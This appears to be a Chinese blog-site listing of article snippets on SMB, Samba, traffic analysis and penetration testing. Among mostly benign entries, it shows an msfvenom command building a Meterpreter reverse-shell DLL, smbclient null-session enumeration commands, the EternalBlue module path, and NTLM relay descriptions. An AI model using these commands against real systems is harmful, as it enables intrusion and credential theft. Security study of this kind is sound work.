SMB流量分析

基本服务 FTP & SMB

基本服务FTP&SMB前言：FTP简称为文件传输协议前面说的他可以做到备份的功能那么它可以做到文件传输的过程smb我们简单来说共享文件夹‍NFSNFS（NetworkFileSystem，网络文件系统）

会飞的灰大狼·2025-07-29 15:51

`/etc/samba/smb.conf` 的 `guest ok` 和 `map to guest` 和 `guest account` 和 `usershare allow guests`

/etc/samba/smb.conf的public和guestok和maptoguest和guestaccount和usershareallowguests在Samba的/etc/samba/smb.conf

kfepiza·2025-07-27 05:08

Linux基础服务（2）

NFS/SMB：网络文件系统，共享目录NFS：（NetworkFileSystem）网络文件系统。可以像挂载本地磁盘一样挂载网络文件目录。

2501_92703078·2025-07-25 11:46

内网渗透—横向移动&NTLM-Relay重放攻击&Responder中继攻击

PTH前往期文章复现，运用mimikatz、impacket工具包的一些脚本、CS等等都可以利用，NTLMRelay又包括（relaytosmb,ldap,ews）可以应用在获取不到明文或HASH时采用的手法

·2025-07-21 18:20

挖矿病毒（基于SMB漏洞传播）分析

本文旨在对SMB挖矿病毒传播机制做分析。网络中的计算机出现由SMB漏洞传播的挖矿病毒，基于目前黑客技术上流行的非PE攻击模式。攻击性质较为隐蔽，完全依赖Windows本身的系统组件。

艾旎米提颉·2025-07-19 20:14

Linux流量分析：tcpdump & wireshark

前言最近因为工作需要，研究了下如何使用tcpdump和wireshark分析业务流量。如果要使用tcpdump分析具体的HTTP请求耗时，需捕获网络数据包并分析时间戳信息，重点关注TCP连接的建立、HTTP请求发送到响应接收的全过程。以下是具体步骤和技巧：1.基础抓包命令捕获HTTP流量sudotcpdump-ieth0port80-s0-whttp.pcap-ieth0：指定网卡（如any捕获所

·2025-07-12 00:01

windows server2019安全修复

Win+R输入gpedit.msc进入本地组策略编辑器2）计算机配置管理模版–》Windows组件–》远程桌面服务–》远程桌面会话主机–》连接–》允许用户使用远程桌面服务进行远程连接–》设置开启2.无需SMB

·2025-07-11 05:50

Ubuntu 与 Windows 实现文件夹共享

Ubuntu20.04与Windows实现文件夹共享Linux中Samba的下载与配置sudoupdateapt#更新工具包sudoaptinstallsamba#下载Sambasudocp/etc/samba/smb.conf

懒羊羊大王呀·2025-07-10 15:49

Windows 2025带来了那些与众不同的功能

文章目录从WindowsServer2012R2就地升级蓝牙DTrace（动态追踪工具）文件压缩WLANWinGetOpenSSH安全基线基于QUIC的SMB安全证书管理SMB备用端口SMB防火墙规则强化

Par@ish·2025-07-09 22:01

Linux安装服务流程

1、Linux镜像下载2、最小版安装3、激活网卡4、激活SSH服务5、用本地XShell工具连接linux6、安装wget服务（本地传入，或者挂载ISO光盘镜像包）7、更新yum8、安装对应服务包smb

学习3人组·2025-07-08 22:25

命名管道与RPC通信

\pipe\myPipe），可以被其它进程识别和访问Windows系统中命名管道是SMB协议的一种通信信道。特性说明双向通信可全双工发送和接收

无名小猴·2025-07-06 06:34

CentOS企业级文件服务器终极部署指南

NFSv4.2高性能计算(HPC)、容器持久化存储、AI训练数据集共享内核级支持、RDMA协议支持、10μs级延迟、支持pNFS并行传输默认无加密、ACL管理复杂、Windows需额外客户端SambaSMB3.1.1

·2025-07-01 19:01

安全对抗相关技术和概念的总结和分析

流量对抗与行为对抗流量对抗核心目标：规避通过网络流量分析进行的恶意行为检测。关键点：流量加密：通过SSL/TLS或自定义加密协议，隐藏网络通信内容。

frhdd·2025-07-01 06:43

CTF-NetA：CTF网络流量分析的得力助手

CTF-NetA：CTF网络流量分析的得力助手CTF-NetA项目地址:https://gitcode.com/gh_mirrors/ct/CTF-NetA在网络安全领域，CTF（CaptureTheFlag

叶彩曼Darcy·2025-07-01 05:00

小米路由安装frpc

二、流程前提条件：一台公网frps服务器家里Nas，已经配置好SMB文件共享（端口445）、WebDav（端口80，可选端口443），其他自行发挥。出租屋解锁SSH的小米路由，我家是小米

zngw·2025-06-30 10:56

在VMware下安装Ubuntu12后出现的问题解决方法

网上搜索找到了一个解决方法，尝试了一下果然可以，记录下来供大家参考吧：l另外还有一个问题，开机老是提示piix4_smbus0000:00:007.3:HostSMBuscontrollernotenabled

shanzhizi·2025-06-30 08:13

一、linux 指令集（显示系统信息、关机操作）

显示系统信息arch显示机器的处理器架构(1)uname-m显示机器的处理器架构(2)uname-r显示正在使用的内核版本dmidecode-q显示硬件系统部件-(SMBIOS/DMI)hdparm-i

tr990511·2025-06-27 03:21

网络安全整体要求

流量分析：使用Wiresh

心一·2025-06-25 02:38

Linux搭建Samba服务器

一、实验目的及要求实验目的◼学习Linux系统共享文件的方法◼理解SMB协议◼掌握Samba服务器的配置方法实验要求john(总经理)mike、cali（市场部）cela、kado(工厂部)管理员：adminstrator

·2025-06-23 19:30

常见网络攻击

“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。SMB（全称是ServerMessageBlock）是一个网络协议名，它能被用于We

头马上秃·2025-06-22 03:10

HTB Dancing

SMBWhatdoesthe3-letteracronymSMBstandfor?

lally.·2025-06-21 23:48

金融行业多部门审计场景：完整解决方案

SNMPSET操作全记录GDPR敏感数据访问监控用户+上下文+OID绑定PCIDSS支付网络隔离审计部门间操作隔离记录2.部门职责与权限部门权限需求审计要求交易部实时监控交易服务器状态操作实时告警风控部访问网络流量分析数据数据访问轨迹

漫谈网络·2025-06-21 11:57

DR模式 + keepalived

一、LVS-DR数据包流量分析（同一局域网）1、客户端向目标VIP发送请求，负载均衡器接收2、负载均衡器根据负载均衡算法选择后端真实服务器，不修改也不封装IP报文，而是将数据帧的MAC地址改为后端真实服务器的

不卖豆腐脑·2025-06-19 16:54

LVS集群 DR模式 + keepalived

文章目录一、LVS-DR数据包流量分析（同一局域网）二、LVS-DR中的ARP问题三、解决ARP的两个问题的设置方法四、LVS-DR处理问题后的流量分析五、LVS-DR特性六、KeepalivedLVS-DR

突币楠波望·2025-06-19 15:52

国产系统麒麟/UOS 用 python 从局域网共享文件夹复制文件（20250225）

我尝试了两个方案：1、pysmb库。总是出错，而且很难排查。2、smbclient命令。用pythonos库执行smbclient命令时，如果有多条的话，构造起来偏复杂。

0XIX0·2025-06-16 09:29

Metasploit Framework（MSF）核心知识解析

二、核心组成与功能组件类型功能描述典型示例Exploit（漏洞利用模块）执行针对特定漏洞的攻击代码exploit/windows/smb/ms17_010_eternalbluePayload

lubiii_·2025-06-14 07:33

内网渗透测试技巧与利用操作手册（SMB / MSSQL / LDAP）

SMB枚举与利用清单SMB枚举与连接#尝试空会话连接（NullSession）smbclient-N-U""-L\\smbclient-N-U"test"-L\\smbclient-N-U"Guest"

vortex5·2025-06-13 07:47

Bugku CTF梳理

MISC(Miscellaneous)类型，即安全杂项，题目或涉及流量分析、电子取证、人肉搜索、数据分析等等。PPC(ProfessionallyProgramCoder)类型，即编程类题

AquilaEAG·2025-06-12 22:38

Ubuntu 20.04上搭建Samba和nfs服务

Sambasudoapt-getinstallsambasamba-common2.如果你开启了防火墙，关闭sudosystemctlstopufw3.配置Samba，编辑配置文件sudovim/etc/samba/smb.conf

静止了所有的花开·2025-06-10 14:59

shiro、struts2、weblogic特征流量分析

文章目录一、Shiro漏洞流量特征1.**身份验证阶段的特征**2.**攻击阶段的特征**3.**检测与防御建议**二、Struts2漏洞流量特征1.**请求特征**2.**响应特征**3.**典型案例**4.**防御建议**三、WebLogic漏洞流量特征1.**XMLDecoder反序列化（CVE-2017-10271）**2.**SSRF漏洞（CVE-2014-4210）**3.**T3协议

桑晒.·2025-06-08 23:00

Web 攻击流量分析与自动化

一、BurpSuite基础与高级使用BurpSuite是一款中间人攻击代理工具，核心作用是在客户端（浏览器）与服务器之间“插一脚”，拦截一切HTTP/HTTPS流量，从而修改、重放、注入或自动化分析。它不仅是抓包工具，还是渗透测试平台，适合用来：做权限绕过做Web风险点利用做脚本注入调试做自动化攻击编排1.1BurpSuite基础模块详解1）Proxy（代理模块）——抓包与拦截的起点功能：拦截浏览

shenyan~·2025-06-07 23:08

【Linux命令大全】tcpdump命令终极指南：网络流量分析与安全监控

【Linux命令大全】tcpdump命令终极指南：网络流量分析与安全监控安全警报：全球每分钟发生超过5000次恶意网络扫描！掌握这些技巧可检测99%的网络入侵！

全息架构师·2025-06-01 13:56

C++/Qt 项目汇总

C++/Qt项目汇总计算器(40%)难度:简单开源udp聊天程序(70%)难度:简单开源排序算法演示难度:简单+开源网络流量分析系统难度：一般+部分开源威图上位机难度：一般+闭源TODO任务清单难度：一般

tangyoha·2025-06-01 03:46

OfficeAI 助手 v0.4.3(长期免费,2025-05-23 支持大表格处理）

———————【本章下载一】：https://pan.quark.cn/s/c276e1699d94【本章下载二】：https://pan.xunlei.com/s/VORGvkAiOPi6qKjezsmBpAnsA1

子文AI·2025-05-30 22:46

常见Webshell&重大漏洞的流量特征（附解密流量工具），从零基础到精通，收藏这篇就够了！

0x01开场白：流量分析，安全狗的"照妖镜"还是"放大镜"？实战攻防，流量分析绝对是绕不开的坎。但说实话，满屏加密流量，是救命稻草还是误报陷阱，真不好说。

leah126·2025-05-30 17:43

Python 网站流量分析爬虫：抓取数据，实现流量预测与优化的实战技巧

引言在互联网时代，网站流量是衡量网站成功与否的关键指标之一。通过分析网站流量数据，我们可以了解用户的访问行为、优化网站内容和性能，并预测未来的流量趋势。本文将介绍如何使用Python爬虫技术抓取网站流量数据，并结合数据分析和机器学习方法实现流量预测与优化。一、环境搭建在开始之前，确保你的开发环境中已经安装了以下Python库：requests：用于发送HTTP请求，抓取网页数据。Beautiful

西攻城狮北·2025-05-30 13:43

系统提权与持久化

攻击流程：生成恶意DLL并托管至SMB共享：msfvenom-pwindows/x64/meterpreter/reverse_tcpLHOST=192.168.1.10LPORT=4444-fdll>

Alfadi联盟萧瑶·2025-05-30 11:54

实战：基于流量特征分析的Web应用防护系统搭建

核心实现#实时流量分析模块fromsklearn.ensembleimportIsolationForestimportnumpyasnpclassTrafficAnalyzer:def__init__

群联云防护小杜·2025-05-28 06:27

MSSQL + SMB 捕获 NTLM 哈希和中继攻击

一、原理概述1、MSSQL服务器函数：xp_dirtree、xp_fileexist等存储过程在访问远程SMB共享时，会尝试使用服务账户身份进行身份验证。

可乐葡萄糖·2025-05-27 16:22

centos7常用命令集锦

基本命令uname-m显示机器的处理器架构uname-r显示正在使用的内核版本dmidecode-q显示硬件系统部件(SMBIOS/DMI)hdparm-i/dev/hda罗列一个磁盘的架构特性hdparm-tT

人生苦短128·2025-05-27 07:31

wireshark udp 抓包_wireshark流量分析入门

wireshark流量分析入门打开wireshark后，按ctrl+K，勾选需要抓包的网卡，我这里勾选WLAN。点击Start开始抓包。

weixin_39928099·2025-05-26 20:55

Windows Server 2016 下封禁端口规避高危漏洞的测试实践

其中，MS17-010利用SMB协议（445端口）实现远程代码执行，CVE-1999-0526则与XWindow服务（6000端口）的未授权访问相关。

Waitccy·2025-05-26 17:41

2025一带一路暨金砖国家技能发展与技术创新大赛第三届企业信息系统安全赛项

CTF夺旗阶段涵盖WEB渗透、密码学、流量分析、PWN和逆向5个任务模块，要求选手完成漏洞挖掘、密码破解、流量取证等实战操作。

Star abuse·2025-05-26 16:03

WHAT - 兆比特每秒 vs 兆字节每秒

，意思是：Megabitspersecond（兆比特每秒）1Mbps=1Megabitpersecond=每秒传输1百万比特（bit）注意：bit（比特）≠Byte（字节），因为：1Byte=8bitsMbps

@PHARAOH·2025-05-25 13:11

python三维重建代码_基于Python的三维重建开源代码

python)└──sfm-bundler(python)├──osm-bundlerWin32│├──icons││├──info_icon.png││└──python_icon.png│├──osmbundler

weixin_39934085·2025-05-25 08:41

Universal Media Server (UMS)部署指南

虽然它本身不直接提供SMB服务，但它可以配合系统的共享文件夹功能使用。下面是你可以在不同平台（如Windows或Ubuntu）上部署UniversalMediaServer的详细方法。

AlenTech·2025-05-23 14:51

基于服务器的 DPI 深度分析解决方案

一、传统网络流量分析的瓶颈与挑战在企业网络管理体系中，传统流量分析模式高度依赖网络设备作为数据采集核心节点，无论是基于NetFlow/IPFIX等流协议的流量分析，还是通过端口镜像技术实现的流量监控，均以交换机

运维行者_·2025-05-23 11:01

1.3.3 数据共享、汇聚和使用中的安全目标

一、保密性：守护数据的隐秘空间数据共享、汇聚与使用过程中的保密性，核心在于抵御数据流量分析。想象一下，若攻击者能够轻易洞察信息

漠月瑾·2025-05-20 14:09

ElasticSearch es 插件开发

RestoreRepositoryPlugins快照/还原存储库插件扩展es的快照和恢复功能StorePlugins存储插件扩展es的存储方式，es默认使用的是Lucene存储数据的优秀插件代表：StoreSMBWindowsSMB2

2501_90252573·2025-05-19 17:17

Linux运维终极攻略：600条高频命令，助你解决99%的问题，零基础入门到精通，收藏这一篇就够了

1、基本命令uname-m显示机器的处理器架构uname-r显示正在使用的内核版本dmidecode-q显示硬件系统部件(SMBIOS/DMI)hdparm-i/dev/hda罗列一个磁盘的架构特性hdparm-tT

程序员_大白·2025-05-17 19:32

推荐频道